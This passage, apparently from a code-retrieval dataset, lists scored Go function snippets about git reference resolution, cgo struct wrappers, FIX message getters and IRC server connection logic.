{\n\t\t\tctx.InternalServerError(fmt.Errorf(\"no open git repo\"))\n\t\t\treturn\n\t\t}\n\n\t\tif ref := ctx.FormTrim(\"ref\"); len(ref) > 0 {\n\t\t\tcommit, err := ctx.Repo.GitRepo.GetCommit(ref)\n\t\t\tif err != nil {\n\t\t\t\tif git.IsErrNotExist(err) {\n\t\t\t\t\tctx.NotFound()\n\t\t\t\t} else {\n\t\t\t\t\tctx.Error(http.StatusInternalServerError, \"GetCommit\", err)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t\tctx.Repo.Commit = commit\n\t\t\tctx.Repo.CommitID = ctx.Repo.Commit.ID.String()\n\t\t\tctx.Repo.TreePath = ctx.Params(\"*\")\n\t\t\tnext.ServeHTTP(w, req)\n\t\t\treturn\n\t\t}\n\n\t\tvar err error\n\t\trefName := getRefName(ctx.Base, ctx.Repo, RepoRefAny)\n\n\t\tif ctx.Repo.GitRepo.IsBranchExist(refName) {\n\t\t\tctx.Repo.Commit, err = ctx.Repo.GitRepo.GetBranchCommit(refName)\n\t\t\tif err != nil {\n\t\t\t\tctx.InternalServerError(err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tctx.Repo.CommitID = ctx.Repo.Commit.ID.String()\n\t\t} else if ctx.Repo.GitRepo.IsTagExist(refName) {\n\t\t\tctx.Repo.Commit, err = ctx.Repo.GitRepo.GetTagCommit(refName)\n\t\t\tif err != nil {\n\t\t\t\tctx.InternalServerError(err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tctx.Repo.CommitID = ctx.Repo.Commit.ID.String()\n\t\t} else if len(refName) == git.SHAFullLength {\n\t\t\tctx.Repo.CommitID = refName\n\t\t\tctx.Repo.Commit, err = ctx.Repo.GitRepo.GetCommit(refName)\n\t\t\tif err != nil {\n\t\t\t\tctx.NotFound(\"GetCommit\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t} else {\n\t\t\tctx.NotFound(fmt.Errorf(\"not exist: '%s'\", ctx.Params(\"*\")))\n\t\t\treturn\n\t\t}\n\n\t\tnext.ServeHTTP(w, req)\n\t})\n}", "title": "" }, { "docid": "f7d9fea298e653f82c1cd7fcd32cd1f5", "score": "0.40548322", "text": "func (b *Blob) Ref() string {\n return HashToName(b.Hash) + NameHashSep + hex.EncodeToString(b.Sum())\n}", "title": "" }, { "docid": "c06f0e7ac04c1afe87904ea8532de219", "score": "0.4053807", "text": "func resolveResourceRef(expr interface{}) (*resourceRef, error) {\n\n\t// Is there any chance it's just a string?\n\ttypedString, typedStringOk := expr.(string)\n\tif typedStringOk {\n\t\treturn &resourceRef{\n\t\t\tRefType: resourceLiteral,\n\t\t\tResourceName: typedString,\n\t\t}, nil\n\t}\n\t// Some type of intrinsic function?\n\tmarshalled, marshalledErr := json.Marshal(expr)\n\tif marshalledErr != nil {\n\t\treturn nil, errors.Errorf(\"Failed to unmarshal dynamic resource ref %v\", expr)\n\t}\n\tvar refFunc gocf.RefFunc\n\tif json.Unmarshal(marshalled, &refFunc) == nil &&\n\t\tlen(refFunc.Name) != 0 {\n\t\treturn &resourceRef{\n\t\t\tRefType: resourceRefFunc,\n\t\t\tResourceName: refFunc.Name,\n\t\t}, nil\n\t}\n\n\tvar getAttFunc gocf.GetAttFunc\n\tif json.Unmarshal(marshalled, &getAttFunc) == nil && len(getAttFunc.Resource) != 0 {\n\t\treturn &resourceRef{\n\t\t\tRefType: resourceGetAttrFunc,\n\t\t\tResourceName: getAttFunc.Resource,\n\t\t}, nil\n\t}\n\t// Any chance it's a string?\n\tvar stringExprFunc gocf.StringExpr\n\tif json.Unmarshal(marshalled, &stringExprFunc) == nil && len(stringExprFunc.Literal) != 0 {\n\t\treturn &resourceRef{\n\t\t\tRefType: resourceStringFunc,\n\t\t\tResourceName: stringExprFunc.Literal,\n\t\t}, nil\n\t}\n\n\t// Nope\n\treturn nil, nil\n}", "title": "" }, { "docid": "ae09d30fbea500df43db69ad8265c5f2", "score": "0.4047721", "text": "func (p *Polymorph) AsRef() string {\n\tref, err := AssertRef(p.raw)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\treturn ref\n}", "title": "" }, { "docid": "ddf2ccd89903faab28b6ec9edfc053e4", "score": "0.40421575", "text": "func ResolveReference(s ReferenceStorer, n plumbing.ReferenceName) (*plumbing.Reference, error) {\n\tr, err := s.Reference(n)\n\tif err != nil || r == nil {\n\t\treturn r, err\n\t}\n\treturn resolveReference(s, r, 0)\n}", "title": "" }, { "docid": "7fa9fef099cedf096fc826d379b0b6dc", "score": "0.4040707", "text": "func getCurrentRef(repoPath string) (string, error) {\n\trepo, err := git.PlainOpen(repoPath)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err)\n\t}\n\thead, err := repo.Head()\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err)\n\t}\n\treturn head.Hash().String(), nil\n}", "title": "" }, { "docid": "d13f881359af19c30bf44095c25be0fc", "score": "0.39974296", "text": "func NewSymbolicReference(name ReferenceName, target string) Reference {\n\treturn Reference{\n\t\tName: name,\n\t\tTarget: target,\n\t\tIsSymbolic: true,\n\t}\n}", "title": "" }, { "docid": "70334d2c33863187d25eb8b8725bbfb6", "score": "0.3991104", "text": "func (x *_DarwinX86ExceptionState64) Ref() *C.struct___darwin_x86_exception_state64 {\n\tif x == nil {\n\t\treturn nil\n\t}\n\treturn x.refe6844d5e\n}", "title": "" }, { "docid": "60e856d6e6e86172682ca21f613abe07", "score": "0.39861724", "text": "func (m NoDistribInsts) GetCashDistribPayRef() (v string, err quickfix.MessageRejectError) {\n\tvar f field.CashDistribPayRefField\n\tif err = m.Get(&f); err == nil {\n\t\tv = f.Value()\n\t}\n\treturn\n}", "title": "" }, { "docid": "fe44b467dd16d7fe2f939816fae5f945", "score": "0.39853168", "text": "func (o *VirtualizationVmwareVirtualMachineSnapshot) GetRefValue() string {\n\tif o == nil || o.RefValue == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.RefValue\n}", "title": "" }, { "docid": "a9d7eb2ce4520054eec6b238fcc2364f", "score": "0.39605668", "text": "func (api *API) getLegalBasisFromRef(ref string) (LegalBasis, error) {\n\tvar legalBasis LegalBasis\n\terr := api.GetLegalBasisFromRefStmt.QueryRow(ref).Scan(&legalBasis.Reference, &legalBasis.LongName)\n\n\treturn legalBasis, err\n}", "title": "" }, { "docid": "ad0f1b544d24cdce9409c3e2c20d1c46", "score": "0.39605203", "text": "func (m ExecutionReport) GetExecRefID() (v string, err quickfix.MessageRejectError) {\n\tvar f field.ExecRefIDField\n\tif err = m.Get(&f); err == nil {\n\t\tv = f.Value()\n\t}\n\treturn\n}", "title": "" }, { "docid": "b670cccd43e39b91b689063c4a2e5fd2", "score": "0.39489684", "text": "func (x *Rational) Ref() *C.vpx_rational_t {\n\tif x == nil {\n\t\treturn nil\n\t}\n\treturn x.ref48ce5779\n}", "title": "" }, { "docid": "99767b276ca223ef397a7c6438ada0df", "score": "0.39475903", "text": "func (x *Model) Ref() *C.Model {\n\tif x == nil {\n\t\treturn nil\n\t}\n\treturn x.ref16545ddd\n}", "title": "" }, { "docid": "89379243d387ee7be8cd9315c237304c", "score": "0.39471918", "text": "func (o *Ga4ghAlignment) GetReferenceOk() (string, bool) {\n\tif o == nil || o.Reference == nil {\n\t\tvar ret string\n\t\treturn ret, false\n\t}\n\treturn *o.Reference, true\n}", "title": "" }, { "docid": "4fb8f449c49bbef3f9b5f550e523d496", "score": "0.3936389", "text": "func (o *ETFsHoldings) GetSymbolOk() (*string, bool) {\n\tif o == nil || o.Symbol == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Symbol, true\n}", "title": "" }, { "docid": "2a8b703b779b6a1076636c188eaf86a8", "score": "0.39362073", "text": "func findLinkname(ctx context.Context, snapshot Snapshot, pkgPath PackagePath, name string) (Package, *ParsedGoFile, token.Pos, error) {\n\t// Typically the linkname refers to a forward dependency\n\t// or a reverse dependency, but in general it may refer\n\t// to any package that is linked with this one.\n\tvar pkgMeta *Metadata\n\tmetas, err := snapshot.AllMetadata(ctx)\n\tif err != nil {\n\t\treturn nil, nil, token.NoPos, err\n\t}\n\tRemoveIntermediateTestVariants(&metas)\n\tfor _, meta := range metas {\n\t\tif meta.PkgPath == pkgPath {\n\t\t\tpkgMeta = meta\n\t\t\tbreak\n\t\t}\n\t}\n\tif pkgMeta == nil {\n\t\treturn nil, nil, token.NoPos, fmt.Errorf(\"cannot find package %q\", pkgPath)\n\t}\n\n\t// When found, type check the desired package (snapshot.TypeCheck in TypecheckFull mode),\n\tpkgs, err := snapshot.TypeCheck(ctx, pkgMeta.ID)\n\tif err != nil {\n\t\treturn nil, nil, token.NoPos, err\n\t}\n\tpkg := pkgs[0]\n\n\tobj := pkg.GetTypes().Scope().Lookup(name)\n\tif obj == nil {\n\t\treturn nil, nil, token.NoPos, fmt.Errorf(\"package %q does not define %s\", pkgPath, name)\n\t}\n\n\tobjURI := safetoken.StartPosition(pkg.FileSet(), obj.Pos())\n\tpgf, err := pkg.File(span.URIFromPath(objURI.Filename))\n\tif err != nil {\n\t\treturn nil, nil, token.NoPos, err\n\t}\n\n\treturn pkg, pgf, obj.Pos(), nil\n}", "title": "" }, { "docid": "3fb8a850671113e950ae8e959ef2a4c5", "score": "0.3936177", "text": "func (x *_DarwinOpmaskReg) Ref() *C.struct___darwin_opmask_reg {\n\tif x == nil {\n\t\treturn nil\n\t}\n\treturn x.ref1c0e34dd\n}", "title": "" }, { "docid": "28a588d46be045f905a56528609a3c81", "score": "0.39359194", "text": "func (GitProto) Refs(u *url.URL) ([]Ref, error) {\n\tif u.Scheme != \"git\" {\n\t\treturn nil, nil\n\t}\n\n\taddress := u.Host\n\tif u.Port() == \"\" {\n\t\taddress = address + \":\" + strconv.Itoa(gitPort)\n\t}\n\tn, err := net.Dial(\"tcp\", address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer n.Close()\n\treturn GITProtocol(u, n)\n}", "title": "" }, { "docid": "8dba2cfa833709c161382c0ade7b9596", "score": "0.39275151", "text": "func getBugLink(c *router.Context, b *buildbucketpb.Build) (string, error) {\n\tproject, err := common.GetProject(c.Context, b.Builder.GetProject())\n\tif err != nil || proto.Equal(&project.BuildBugTemplate, &config.BugTemplate{}) {\n\t\treturn \"\", err\n\t}\n\n\tbuilderPath := fmt.Sprintf(\"/p/%s/builders/%s/%s\", b.Builder.GetProject(), b.Builder.GetBucket(), b.Builder.GetBuilder())\n\tbuildURL, err := c.Request.URL.Parse(builderPath + \"/\" + c.Params.ByName(\"numberOrId\"))\n\tif err != nil {\n\t\treturn \"\", errors.Annotate(err, \"Unable to make build URL for build bug link.\").Err()\n\t}\n\tbuilderURL, err := c.Request.URL.Parse(builderPath)\n\tif err != nil {\n\t\treturn \"\", errors.Annotate(err, \"Unable to make builder URL for build bug link.\").Err()\n\t}\n\n\treturn MakeBuildBugLink(&project.BuildBugTemplate, map[string]interface{}{\n\t\t\"Build\": b,\n\t\t\"MiloBuildUrl\": buildURL,\n\t\t\"MiloBuilderUrl\": builderURL,\n\t})\n}", "title": "" }, { "docid": "a8d73d357be038a0a7916d0581d92dbe", "score": "0.39236018", "text": "func (x *_DarwinX86FloatState64) Ref() *C.struct___darwin_x86_float_state64 {\n\tif x == nil {\n\t\treturn nil\n\t}\n\treturn x.ref8ba626a\n}", "title": "" }, { "docid": "f05442f9f26d21938bc3b869c979db4d", "score": "0.39220053", "text": "func (m MutationFieldValue) AsNameRefID() (*NameRefID, error) {\n\tif m.Type == WorkProjectCapabilityIssueMutationFieldsTypeWorkIssuePriority ||\n\t\tm.Type == WorkProjectCapabilityIssueMutationFieldsTypeWorkIssueType ||\n\t\tm.Type == WorkProjectCapabilityIssueMutationFieldsTypeEpic ||\n\t\tm.Type == WorkProjectCapabilityIssueMutationFieldsTypeStringArray ||\n\t\tm.Type == WorkProjectCapabilityIssueMutationFieldsTypeWorkSprint ||\n\t\tm.Type == WorkProjectCapabilityIssueMutationFieldsTypeUser {\n\t\tvar nri NameRefID\n\t\tif err := json.Unmarshal(m.Value, &nri); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error decoding mutation field %s into NameRefID: %w\", m.RefID, err)\n\t\t}\n\t\treturn &nri, nil\n\t}\n\treturn nil, fmt.Errorf(\"type %s is not a NameRefID\", m.Type.String())\n}", "title": "" }, { "docid": "2b2b9bc4d2c14ebf730afdb683e253b0", "score": "0.39219937", "text": "func (c *Session) Ref(module, name string) (string, int64, error) {\n\tvar content []map[string]interface{}\n\terr := c.DoRequest(\"search_read\", \"ir.model.data\",\n\t\t[]interface{}{\n\t\t\t[]interface{}{\n\t\t\t\t[]string{\"module\", \"=\", module},\n\t\t\t\t[]string{\"name\", \"=\", name},\n\t\t\t},\n\t\t}, nil, &content)\n\tif err != nil {\n\t\treturn \"\", 0, err\n\t}\n\treturn content[0][\"model\"].(string), content[0][\"res_id\"].(int64), nil\n}", "title": "" }, { "docid": "259e3a97161df197603a3428b6d55373", "score": "0.39108515", "text": "func (m Message) GetSymbol(f *field.SymbolField) quickfix.MessageRejectError {\n\treturn m.Body.Get(f)\n}", "title": "" }, { "docid": "259e3a97161df197603a3428b6d55373", "score": "0.39108515", "text": "func (m Message) GetSymbol(f *field.SymbolField) quickfix.MessageRejectError {\n\treturn m.Body.Get(f)\n}", "title": "" }, { "docid": "0d6e1dd2192ed18a8851ce02a7900e67", "score": "0.3910244", "text": "func (repo *Repository) Sha1ByRef(ref string) (core.Sha1, error) {\n\tif sha1, err := repo.Sha1FromLooseRef(ref); err == nil {\n\t\treturn sha1, err\n\t} else if err != ErrRefNotFound {\n\t\treturn core.Sha1{}, err\n\t}\n\n\treturn repo.Sha1FromPackedRefs(ref)\n}", "title": "" }, { "docid": "628d2bbb0bb71ac11d182a17522241bc", "score": "0.39065385", "text": "func (x *_DarwinXmmReg) Ref() *C.struct___darwin_xmm_reg {\n\tif x == nil {\n\t\treturn nil\n\t}\n\treturn x.ref4ce4c564\n}", "title": "" }, { "docid": "3c489a3fa52baea4c58de4c50e02a757", "score": "0.39026242", "text": "func (m NoCompIDs) GetRefCompID() (v string, err quickfix.MessageRejectError) {\n\tvar f field.RefCompIDField\n\tif err = m.Get(&f); err == nil {\n\t\tv = f.Value()\n\t}\n\treturn\n}", "title": "" }, { "docid": "3c489a3fa52baea4c58de4c50e02a757", "score": "0.39026242", "text": "func (m NoCompIDs) GetRefCompID() (v string, err quickfix.MessageRejectError) {\n\tvar f field.RefCompIDField\n\tif err = m.Get(&f); err == nil {\n\t\tv = f.Value()\n\t}\n\treturn\n}", "title": "" }, { "docid": "cd3923bad97eb8c7d5fd14bca20767c3", "score": "0.39017615", "text": "func (o DatadogAgentSpecAgentSecurityEnvValueFromPtrOutput) ResourceFieldRef() DatadogAgentSpecAgentSecurityEnvValueFromResourceFieldRefPtrOutput {\n\treturn o.ApplyT(func(v *DatadogAgentSpecAgentSecurityEnvValueFrom) *DatadogAgentSpecAgentSecurityEnvValueFromResourceFieldRef {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.ResourceFieldRef\n\t}).(DatadogAgentSpecAgentSecurityEnvValueFromResourceFieldRefPtrOutput)\n}", "title": "" }, { "docid": "36961d61da44fb4f5dbc59dbb86c1f90", "score": "0.389951", "text": "func (r *Repo) HasRef(ref string) bool {\n\tr.load_refs()\n\t_, err := r.refs[ref]\n\treturn err\n}", "title": "" }, { "docid": "4969a414a9d588a06b37a4815663992b", "score": "0.38959855", "text": "func (p Patch) GetPatchRef() string {\n\tif p.Full() {\n\t\treturn fmt.Sprintf(\"refs/changes/%s\", strings.Join(p.patchIdentifier(), \"/\"))\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "856b37b61c784f84a6b6af727928d102", "score": "0.38890678", "text": "func (r *VulnerabilityReference) Reference() (ref string) {\n\tif validator.IsValid(r) {\n\t\tref = r.Ref\n\t}\n\n\treturn ref\n}", "title": "" }, { "docid": "a1c3149047fa3470dfaff86c40bf3c5e", "score": "0.38815767", "text": "func ShowRefs(ref ...string) ([]Ref, error) {\n\targs := append([]string{\"show-ref\", \"--verify\", \"--\"}, ref...)\n\tshowRef := exec.Command(\"git\", args...)\n\toutput, err := run.PrepareCmd(showRef).Output()\n\n\tvar refs []Ref\n\tfor _, line := range outputLines(output) {\n\t\tparts := strings.SplitN(line, \" \", 2)\n\t\tif len(parts) < 2 {\n\t\t\tcontinue\n\t\t}\n\t\trefs = append(refs, Ref{\n\t\t\tHash: parts[0],\n\t\t\tName: parts[1],\n\t\t})\n\t}\n\n\treturn refs, err\n}", "title": "" }, { "docid": "fc7171d461a0fdfa4bb88547f3912566", "score": "0.38789088", "text": "func refName(s string) string {\n\tn := strings.Index(s, \"\\x00\")\n\tif n == -1 {\n\t\treturn s\n\t}\n\treturn s[0:n]\n}", "title": "" }, { "docid": "cecde292d92632f51df925d5a9171ace", "score": "0.3878555", "text": "func (m TradeCaptureReportRequestAck) GetSymbol() (v string, err quickfix.MessageRejectError) {\n\tvar f field.SymbolField\n\tif err = m.Get(&f); err == nil {\n\t\tv = f.Value()\n\t}\n\treturn\n}", "title": "" }, { "docid": "790436f9d5305079667f77c3d1f7506e", "score": "0.38707724", "text": "func (reporter *ErrorReporter) errorUnresolved(ldr *loader.Loader, s, rs loader.Sym) {\n\treporter.unresOnce.Do(func() { reporter.unresSyms = make(map[unresolvedSymKey]bool) })\n\n\tk := unresolvedSymKey{from: s, to: rs}\n\treporter.unresMutex.Lock()\n\tdefer reporter.unresMutex.Unlock()\n\tif !reporter.unresSyms[k] {\n\t\treporter.unresSyms[k] = true\n\t\tname := ldr.SymName(rs)\n\n\t\t// Try to find symbol under another ABI.\n\t\tvar reqABI, haveABI obj.ABI\n\t\thaveABI = ^obj.ABI(0)\n\t\treqABI, ok := sym.VersionToABI(ldr.SymVersion(rs))\n\t\tif ok {\n\t\t\tfor abi := obj.ABI(0); abi < obj.ABICount; abi++ {\n\t\t\t\tv := sym.ABIToVersion(abi)\n\t\t\t\tif v == -1 {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif rs1 := ldr.Lookup(name, v); rs1 != 0 && ldr.SymType(rs1) != sym.Sxxx && ldr.SymType(rs1) != sym.SXREF {\n\t\t\t\t\thaveABI = abi\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Give a special error message for main symbol (see #24809).\n\t\tif name == \"main.main\" {\n\t\t\treporter.Errorf(s, \"function main is undeclared in the main package\")\n\t\t} else if haveABI != ^obj.ABI(0) {\n\t\t\treporter.Errorf(s, \"relocation target %s not defined for %s (but is defined for %s)\", name, reqABI, haveABI)\n\t\t} else {\n\t\t\treporter.Errorf(s, \"relocation target %s not defined\", name)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "21154e4b610a2aa6776627ff4311dead", "score": "0.38653907", "text": "func (o DatadogAgentSpecAgentSecurityEnvValueFromPtrOutput) FieldRef() DatadogAgentSpecAgentSecurityEnvValueFromFieldRefPtrOutput {\n\treturn o.ApplyT(func(v *DatadogAgentSpecAgentSecurityEnvValueFrom) *DatadogAgentSpecAgentSecurityEnvValueFromFieldRef {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.FieldRef\n\t}).(DatadogAgentSpecAgentSecurityEnvValueFromFieldRefPtrOutput)\n}", "title": "" }, { "docid": "af82e8f398fe8f8427e71b649cb165b3", "score": "0.38648248", "text": "func getPackageRef(i *ast.ImportSpec) string {\n\tif i.Name != nil {\n\t\treturn i.Name.String()\n\t}\n\n\tparts := strings.Split(strings.Trim(i.Path.Value, `\"`), \"/\")\n\treturn parts[len(parts)-1]\n}", "title": "" }, { "docid": "a0abcfd75d7df5f3e6deda33476481a8", "score": "0.3858864", "text": "func (o DatadogAgentSpecAgentSystemProbeEnvValueFromPtrOutput) ResourceFieldRef() DatadogAgentSpecAgentSystemProbeEnvValueFromResourceFieldRefPtrOutput {\n\treturn o.ApplyT(func(v *DatadogAgentSpecAgentSystemProbeEnvValueFrom) *DatadogAgentSpecAgentSystemProbeEnvValueFromResourceFieldRef {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.ResourceFieldRef\n\t}).(DatadogAgentSpecAgentSystemProbeEnvValueFromResourceFieldRefPtrOutput)\n}", "title": "" }, { "docid": "dbb7266636a9e8a852327b50f684476e", "score": "0.3851399", "text": "func (x *RayHitInfo) Ref() *C.RayHitInfo {\n\tif x == nil {\n\t\treturn nil\n\t}\n\treturn x.refb8de43a9\n}", "title": "" }, { "docid": "ea1af4d91d96da60b18e5dafd053d598", "score": "0.38467473", "text": "func StringRef(s string) Ref {\n\treturn BytesRef([]byte(s))\n}", "title": "" } ]
95fb6266c76e4c24ea776483f0afd5bd
Connect connects to a IRC Server
[ { "docid": "75d110977d2d193ba21107c7531b8782", "score": "0.7420238", "text": "func Connect(server string, nick string, user string) *Server {\n\n\tircobj := irc.IRC(nick, user)\n\tircobj.Connect(server)\n\n\tconnection := Server{server, ircobj}\n\tif len(serverList) == 0 {\n\t\tserverList = make(map[string]*Server)\n\t}\n\tserverList[server] = &connection\n\tircobj.AddCallback(\"PRIVMSG\", func(event *irc.Event) {\n\t\tParseMessage(&connection, event.Message(), event.Nick, strings.ToLower(event.Arguments[0]))\n\t})\n\n\tircobj.AddCallback(\"CTCP\", func(event *irc.Event) {\n\t\tparts := strings.Split(event.Message(), \" \")\n\t\tif len(parts) > 4 && parts[1] == \"SEND\" {\n\t\t\tlog.Println(parts)\n\t\t\tipnum, _ := strconv.ParseUint(parts[3], 10, 32)\n\t\t\tport, _ := strconv.ParseUint(parts[4], 10, 32)\n\t\t\tif port > 0 {\n\t\t\t\tgo startDccDownload(uint32(ipnum), uint32(port), parts[2])\n\t\t\t} else {\n\t\t\t\tstartPassiveDccDownload(int(ipnum), int(port), parts[2])\n\t\t\t}\n\t\t}\n\t})\n\n\treturn &connection\n}", "title": "" } ]
[ { "docid": "65f0c1c476f762f9135d7508797061f1", "score": "0.76100075", "text": "func (i *IRC) Connect() error {\n\t/* Dial the server */\n\th := net.JoinHostPort(i.Host, fmt.Sprintf(\"%v\", i.Port))\n\tif i.Ssl { /* SSL requested */\n\t\tvar err error\n\t\ti.S, err = tls.Dial(\"tcp\", h,\n\t\t\t&tls.Config{ServerName: i.Hostname})\n\t\tif nil != err {\n\t\t\treturn errors.New(fmt.Sprintf(\"unable to make ssl \"+\n\t\t\t\t\"connection to %v: %v\", h, err))\n\t\t}\n\t} else { /* Plaintext connection */\n\t\tvar err error\n\t\ti.S, err = net.Dial(\"tcp\", h)\n\t\tif nil != err {\n\t\t\treturn errors.New(fmt.Sprintf(\"unable to make \"+\n\t\t\t\t\"plaintext connection to %v: %v\", h, err))\n\t\t}\n\t}\n\n\t/* Make a reader and a writer */\n\ti.r = textproto.NewReader(bufio.NewReader(i.S))\n\ti.w = textproto.NewWriter(bufio.NewWriter(i.S))\n\n\t/* Send nick and user */\n\tif err := i.Handshake(); nil != err {\n\t\treturn errors.New(fmt.Sprintf(\"unable to handshake: %v\", err))\n\t}\n\n\t/* Start reads from server into channel */\n\tgo func() {\n\t\t/* Close the connection when we're done with it */\n\t\tdefer i.S.Close()\n\t\tfor {\n\t\t\t/* Get a line from the reader */\n\t\t\tline, err := i.r.ReadLine()\n\t\t\t/* Close the channel on error */\n\t\t\tif nil != err {\n\t\t\t\ti.e <- err\n\t\t\t\tclose(i.c)\n\t\t\t\treturn\n\t\t\t}\n\t\t\t/* Log the line if needed */\n\t\t\tif \"\" != i.Rxp {\n\t\t\t\tlog.Printf(\"%v %v\", i.Rxp, line)\n\t\t\t}\n\t\t\t/* Handle pings if desired */\n\t\t\tif i.Pongs && strings.HasPrefix(strings.ToLower(line),\n\t\t\t\t\"ping \") {\n\t\t\t\t/* Try to send pong */\n\t\t\t\terr := i.PrintfLine(\"PONG %v\",\n\t\t\t\t\tstrings.SplitN(line, \" \", 2)[1])\n\t\t\t\t/* A send error is as bad as a read error */\n\t\t\t\tif nil != err {\n\t\t\t\t\ti.e <- err\n\t\t\t\t\tclose(i.c)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t\t/* Maybe get a nick */\n\t\t\tparts := strings.SplitN(line, \" \", 4)\n\t\t\t/* If the 2nd bit is a 3-digit number, the 3rd bit is\n\t\t\tour nick */\n\t\t\tif 4 == len(parts) {\n\t\t\t\tn := []rune(parts[1])\n\t\t\t\tif 3 == len(n) &&\n\t\t\t\t\tunicode.IsDigit(n[0]) &&\n\t\t\t\t\tunicode.IsDigit(n[1]) &&\n\t\t\t\t\tunicode.IsDigit(n[2]) {\n\t\t\t\t\ti.snick = parts[2]\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/* Send out the line */\n\t\t\ti.c <- line\n\t\t}\n\t}()\n\treturn nil\n}", "title": "" }, { "docid": "9d7aeb2a0a74fe15591dcb1ae59baa1f", "score": "0.72171116", "text": "func (bot *Bot) Connect() (conn net.Conn, err error) {\n\tconn, err = net.Dial(\"tcp\", bot.server+\":\"+bot.port)\n\tif err != nil {\n\t\tlog.Fatal(\"Unable to connect to IRC server\", err)\n\t}\n\tbot.conn = conn\n\tlog.Printf(\"Connected to IRC server %s (%s)\\n\", bot.server, bot.conn.RemoteAddr())\n\treturn bot.conn, nil\n}", "title": "" }, { "docid": "7c545626f563a6588e64a881d96d97c8", "score": "0.68863577", "text": "func (w *Watcher) Connect() (net.Conn, error) {\n\t//Start a new dial connection to the server.\n\tconn, err := net.Dial(\"tcp\", w.Server+\":\"+w.Port)\n\tif err != nil {\n\t\t//If an error occurr we return the error message\n\t\tlog.Fatal(\"Unable to connect to irc: \", err)\n\t}\n\t//Set the Watcher structures conn to the newly created connection\n\tw.Conn = conn\n\t//Print out the success connection message\n\tlog.Printf(\"Connected to %s (%s)\", w.Server, w.Conn.RemoteAddr())\n\t//Return the connection and no error.\n\treturn w.Conn, nil\n}", "title": "" }, { "docid": "aa02ddef61143e07bc2cbb68dfee5757", "score": "0.684657", "text": "func (mouse *Mouse) Connect() error {\n\tvar err error\n\tserver := fmt.Sprintf(\"%s:%d\", mouse.Config.Host, mouse.Config.Port)\n\n\tif mouse.Config.TLS {\n\t\tmouse.conn, err = tls.Dial(\"tcp\", server, mouse.Config.TLSConfig)\n\t} else {\n\t\tmouse.conn, err = net.DialTimeout(\"tcp\", server, 10*time.Second)\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Create readers and writers from the connection\n\tmouse.reader = irc.NewDecoder(mouse.conn)\n\tmouse.writer = irc.NewEncoder(mouse.conn)\n\n\t// Write initial connect messages\n\tif mouse.Config.Pass != \"\" {\n\t\tif err = mouse.writer.Encode(&irc.Message{\n\t\t\tCommand: irc.PASS,\n\t\t\tParams: []string{mouse.Config.Pass},\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err = mouse.writer.Encode(&irc.Message{\n\t\tCommand: irc.NICK,\n\t\tParams: []string{mouse.Config.Nick},\n\t}); err != nil {\n\t\treturn err\n\t}\n\n\tif err = mouse.writer.Encode(&irc.Message{\n\t\tCommand: irc.USER,\n\t\tParams: []string{mouse.Config.User, \"0\", \"*\", mouse.Config.Name},\n\t}); err != nil {\n\t\treturn err\n\t}\n\n\tmouse.alive = ConnectionAlive\n\tgo mouse.loop()\n\n\t// Join channels\n\tfor _, channel := range mouse.Config.Channels {\n\t\tmouse.Join(channel)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "94734529bcffc479f36cfba59cb21e07", "score": "0.6836544", "text": "func (irc *IRC) Connect(address string) {\n\tInform(\"Attempting to connect with %s...\", address)\n\n\tdelay := 1\n\tfor {\n\t\t// Make connection to Twitch IRC server\n\t\tvar err error\n\t\tirc.conn, err = net.Dial(\"tcp\", address)\n\t\tif err != nil {\n\t\t\tError(err)\n\t\t\tInform(\"Connection to %s failed, retrying in %d seconds...\", address, delay)\n\t\t\ttime.Sleep(time.Duration(delay) * time.Second)\n\t\t\tdelay *= 2\n\t\t\tcontinue\n\t\t}\n\n\t\tbreak\n\t}\n\n\tInform(\"Connected to %s!\", address)\n}", "title": "" }, { "docid": "e2d8b1ce9090d3b56ef663cd6cac0f07", "score": "0.67971313", "text": "func (ch *ServerChannel) Connect(c *Client) {}", "title": "" }, { "docid": "12a46c8127c1bb6e81db8a4e6397257b", "score": "0.6794796", "text": "func (c *Channel) Connect() error {\n\tvar err error\n\tvar conn net.Conn\n\tif c.Config.tls {\n\t\tconn, err = tls.Dial(\"tcp\", c.Config.Server, nil)\n\t} else {\n\t\tconn, err = net.Dial(\"tcp\", c.Config.Server)\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.connection = conn\n\tc.reader = sirc.NewDecoder(conn)\n\tc.writer = sirc.NewEncoder(conn)\n\tif c.done == nil {\n\t\tc.done = make(chan error)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "15e127adf449032e9ee6f7fdc943c971", "score": "0.6786529", "text": "func connect() {\n\tconn = nil\n\thost := hostFieldBuffer.GetLines(0, 1)[0]\n\tport := portFieldBuffer.GetLines(0, 1)[0]\n\tnick := nickFieldBuffer.GetLines(0, 1)[0]\n\tconnection, err := getServerConnection(host, port, nick)\n\n\t// display the error in the message window of the connect screen\n\tif err != nil {\n\t\tconnectMsg := new(tbuikit.ColorizedString)\n\t\tconnectMsg.Color = termbox.ColorRed\n\t\tconnectMsg.Text = err.Error()\n\t\tconnectMsgBuffer.Add(connectMsg)\n\t\treturn\n\t}\n\n\tconn = connection\n\tconnected.Connect()\n\n\t// no error so clear the message buffer so when we come back to it there aren't\n\t// any old, no longer relevant 